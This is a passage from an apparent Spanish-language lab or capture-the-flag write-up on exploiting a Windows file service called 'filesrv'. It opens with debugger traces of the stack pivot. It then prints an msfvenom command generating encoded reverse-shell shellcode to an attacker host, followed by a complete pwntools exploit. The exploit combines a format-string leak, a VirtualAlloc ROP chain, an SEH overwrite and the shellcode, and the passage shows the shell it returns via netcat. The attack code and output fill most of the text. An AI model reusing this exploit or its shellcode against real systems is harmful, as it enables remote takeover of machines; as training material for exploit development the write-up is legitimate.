eax=0194f000 ebx=00000001 ecx=4e7f0000 edx=0194f000 esi=3f2a4af9 edi=3f291010
eip=75f1274c esp=0194f6fc ebp=3f29100f iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
KERNELBASE!VirtualAlloc+0x4c:
75f1274c c21000 ret 10h
0:000> !vprot esp
BaseAddress: 0194f000
AllocationBase: 01850000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 00001000
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE
Type: 00020000 MEM_PRIVATE
Si continuamos la ejecución llegaremos al jmp esp
que ejecutará nuestras C's
0:000> pt
eax=0194f000 ebx=00000001 ecx=4e7f0000 edx=0194f000 esi=3f2a4af9 edi=3f291010
eip=3f291010 esp=0194f714 ebp=756c6250 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
filesrv+0x1010:
3f291010 c3 ret
0:000> p
eax=0194f000 ebx=00000001 ecx=4e7f0000 edx=0194f000 esi=3f2a4af9 edi=3f291010
eip=3f2a1394 esp=0194f718 ebp=756c6250 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
filesrv+0x11394:
3f2a1394 ffe4 jmp esp {0194f718}
0:000> db esp
0194f718 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0194f728 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0194f738 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0194f748 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0194f758 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0194f768 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0194f778 43 43 43 43 41 41 41 41-41 41 41 41 41 41 41 41 CCCCAAAAAAAAAAAA
0194f788 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Ya que podemos ejecutar un shellcode con este exploit solo nos queda generar un nuevo shellcode usando msfvenom
que envie una reverse shell por el puerto 443
❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.8.0.100 LPORT=443 -b '\x00\x09\x0a\x0b\x0c\x0d\x20\x25' -f python -v shellcode -e x86/shikata_ga_nai -n 16
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Successfully added NOP sled of size 16 from x86/single_byte
Payload size: 367 bytes
Final size of python file: 2063 bytes
shellcode = b""
shellcode += b"\x91\x41\x49\x91\x92\x37\x90\xf5\xf9\x49\x48"
shellcode += b"\xd6\x93\x91\x4a\xf8\xdb\xc5\xd9\x74\x24\xf4"
shellcode += b"\x58\xbb\xf3\x01\xbe\xec\x31\xc9\xb1\x52\x83"
shellcode += b"\xc0\x04\x31\x58\x13\x03\xab\x12\x5c\x19\xb7"
shellcode += b"\xfd\x22\xe2\x47\xfe\x42\x6a\xa2\xcf\x42\x08"
shellcode += b"\xa7\x60\x73\x5a\xe5\x8c\xf8\x0e\x1d\x06\x8c"
shellcode += b"\x86\x12\xaf\x3b\xf1\x1d\x30\x17\xc1\x3c\xb2"
shellcode += b"\x6a\x16\x9e\x8b\xa4\x6b\xdf\xcc\xd9\x86\x8d"
shellcode += b"\x85\x96\x35\x21\xa1\xe3\x85\xca\xf9\xe2\x8d"
shellcode += b"\x2f\x49\x04\xbf\xfe\xc1\x5f\x1f\x01\x05\xd4"
shellcode += b"\x16\x19\x4a\xd1\xe1\x92\xb8\xad\xf3\x72\xf1"
shellcode += b"\x4e\x5f\xbb\x3d\xbd\xa1\xfc\xfa\x5e\xd4\xf4"
shellcode += b"\xf8\xe3\xef\xc3\x83\x3f\x65\xd7\x24\xcb\xdd"
shellcode += b"\x33\xd4\x18\xbb\xb0\xda\xd5\xcf\x9e\xfe\xe8"
shellcode += b"\x1c\x95\xfb\x61\xa3\x79\x8a\x32\x80\x5d\xd6"
shellcode += b"\xe1\xa9\xc4\xb2\x44\xd5\x16\x1d\x38\x73\x5d"
shellcode += b"\xb0\x2d\x0e\x3c\xdd\x82\x23\xbe\x1d\x8d\x34"
shellcode += b"\xcd\x2f\x12\xef\x59\x1c\xdb\x29\x9e\x63\xf6"
shellcode += b"\x8e\x30\x9a\xf9\xee\x19\x59\xad\xbe\x31\x48"
shellcode += b"\xce\x54\xc1\x75\x1b\xfa\x91\xd9\xf4\xbb\x41"
shellcode += b"\x9a\xa4\x53\x8b\x15\x9a\x44\xb4\xff\xb3\xef"
shellcode += b"\x4f\x68\xb6\xe7\x4f\x62\xae\xf5\x4f\x73\x95"
shellcode += b"\x73\xa9\x19\xf9\xd5\x62\xb6\x60\x7c\xf8\x27"
shellcode += b"\x6c\xaa\x85\x68\xe6\x59\x7a\x26\x0f\x17\x68"
shellcode += b"\xdf\xff\x62\xd2\x76\xff\x58\x7a\x14\x92\x06"
shellcode += b"\x7a\x53\x8f\x90\x2d\x34\x61\xe9\xbb\xa8\xd8"
shellcode += b"\x43\xd9\x30\xbc\xac\x59\xef\x7d\x32\x60\x62"
shellcode += b"\x39\x10\x72\xba\xc2\x1c\x26\x12\x95\xca\x90"
shellcode += b"\xd4\x4f\xbd\x4a\x8f\x3c\x17\x1a\x56\x0f\xa8"
shellcode += b"\x5c\x57\x5a\x5e\x80\xe6\x33\x27\xbf\xc7\xd3"
shellcode += b"\xaf\xb8\x35\x44\x4f\x13\xfe\x74\x1a\x39\x57"
shellcode += b"\x1d\xc3\xa8\xe5\x40\xf4\x07\x29\x7d\x77\xad"
shellcode += b"\xd2\x7a\x67\xc4\xd7\xc7\x2f\x35\xaa\x58\xda"
shellcode += b"\x39\x19\x58\xcf"
Nuestro exploit final inicia sobrescribiendo el controlador SEH
con un stack pivot que retorna a un ropchain el cual llama a VirtualAlloc
para cambiar los privilegios del stack, una vez ye es ejecutable salta al shellcode y ejecuta la reverse shell
#!/usr/bin/python3
from pwn import remote, p32
shell = remote("10.10.122.10", 2121)
shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")
binary_base = int(shell.recvline().strip(), 16) - 0x14120
rop = b""
rop += p32(binary_base + 0x01010) * 30 # ret;
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314c2ab) # offset + 0x40
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x48ca8) # xchg edi, eax; ret;
rop += p32(binary_base + 0x15638) # mov ecx, edi; call esi;
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314d26b) # offset + 0x1000
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x3039f) # mov edx, eax; mov eax, esi; pop esi; ret;
rop += p32(0x41414141) # padding for pop
rop += p32(binary_base + 0x0dc14) # pop ebx; ret;
rop += p32(0xffffffff) # -1
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x14af9) # jmp eax;
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(0xffffcec0) # VirtualAlloc() - TlsAlloc()
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(binary_base + 0x9013c) # TlsAlloc()
rop += p32(binary_base + 0x2bb8e) # mov eax, dword ptr [eax]; ret;
rop += p32(binary_base + 0x113a8) # add eax, edi; ret;
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(binary_base + 0x01010) # ret;
rop += p32(binary_base + 0x113b1) # pushad; ret;
rop += p32(binary_base + 0x11394) # jmp esp;
shellcode = b""
shellcode += b"\x91\x41\x49\x91\x92\x37\x90\xf5\xf9\x49\x48"
shellcode += b"\xd6\x93\x91\x4a\xf8\xdb\xc5\xd9\x74\x24\xf4"
shellcode += b"\x58\xbb\xf3\x01\xbe\xec\x31\xc9\xb1\x52\x83"
shellcode += b"\xc0\x04\x31\x58\x13\x03\xab\x12\x5c\x19\xb7"
shellcode += b"\xfd\x22\xe2\x47\xfe\x42\x6a\xa2\xcf\x42\x08"
shellcode += b"\xa7\x60\x73\x5a\xe5\x8c\xf8\x0e\x1d\x06\x8c"
shellcode += b"\x86\x12\xaf\x3b\xf1\x1d\x30\x17\xc1\x3c\xb2"
shellcode += b"\x6a\x16\x9e\x8b\xa4\x6b\xdf\xcc\xd9\x86\x8d"
shellcode += b"\x85\x96\x35\x21\xa1\xe3\x85\xca\xf9\xe2\x8d"
shellcode += b"\x2f\x49\x04\xbf\xfe\xc1\x5f\x1f\x01\x05\xd4"
shellcode += b"\x16\x19\x4a\xd1\xe1\x92\xb8\xad\xf3\x72\xf1"
shellcode += b"\x4e\x5f\xbb\x3d\xbd\xa1\xfc\xfa\x5e\xd4\xf4"
shellcode += b"\xf8\xe3\xef\xc3\x83\x3f\x65\xd7\x24\xcb\xdd"
shellcode += b"\x33\xd4\x18\xbb\xb0\xda\xd5\xcf\x9e\xfe\xe8"
shellcode += b"\x1c\x95\xfb\x61\xa3\x79\x8a\x32\x80\x5d\xd6"
shellcode += b"\xe1\xa9\xc4\xb2\x44\xd5\x16\x1d\x38\x73\x5d"
shellcode += b"\xb0\x2d\x0e\x3c\xdd\x82\x23\xbe\x1d\x8d\x34"
shellcode += b"\xcd\x2f\x12\xef\x59\x1c\xdb\x29\x9e\x63\xf6"
shellcode += b"\x8e\x30\x9a\xf9\xee\x19\x59\xad\xbe\x31\x48"
shellcode += b"\xce\x54\xc1\x75\x1b\xfa\x91\xd9\xf4\xbb\x41"
shellcode += b"\x9a\xa4\x53\x8b\x15\x9a\x44\xb4\xff\xb3\xef"
shellcode += b"\x4f\x68\xb6\xe7\x4f\x62\xae\xf5\x4f\x73\x95"
shellcode += b"\x73\xa9\x19\xf9\xd5\x62\xb6\x60\x7c\xf8\x27"
shellcode += b"\x6c\xaa\x85\x68\xe6\x59\x7a\x26\x0f\x17\x68"
shellcode += b"\xdf\xff\x62\xd2\x76\xff\x58\x7a\x14\x92\x06"
shellcode += b"\x7a\x53\x8f\x90\x2d\x34\x61\xe9\xbb\xa8\xd8"
shellcode += b"\x43\xd9\x30\xbc\xac\x59\xef\x7d\x32\x60\x62"
shellcode += b"\x39\x10\x72\xba\xc2\x1c\x26\x12\x95\xca\x90"
shellcode += b"\xd4\x4f\xbd\x4a\x8f\x3c\x17\x1a\x56\x0f\xa8"
shellcode += b"\x5c\x57\x5a\x5e\x80\xe6\x33\x27\xbf\xc7\xd3"
shellcode += b"\xaf\xb8\x35\x44\x4f\x13\xfe\x74\x1a\x39\x57"
shellcode += b"\x1d\xc3\xa8\xe5\x40\xf4\x07\x29\x7d\x77\xad"
shellcode += b"\xd2\x7a\x67\xc4\xd7\xc7\x2f\x35\xaa\x58\xda"
shellcode += b"\x39\x19\x58\xcf"
offset = 1032
junk = b"A" * (offset - len(rop + shellcode))
nseh = b"B" * 4
seh = p32(binary_base + 0x11396) # add esp, 0xe10; ret;
payload = b""
payload += rop
payload += shellcode
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))
shell.sendline(b"TEST " + payload)
shell.interactive()
Finalmente al ejecutar nuestro exploit de forma remota obtenemos una reverse shell
❯ python3 exploit.py
[+] Opening connection to 10.10.122.10 on port 2121: Done
[*] Switching to interactive mode
$
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.122.10 50536
Microsoft Windows [Versión 10.0.20348.709]
(c) Microsoft Corporation. All rights reserved.
C:\shared> whoami
rainbow2\dev
C:\shared>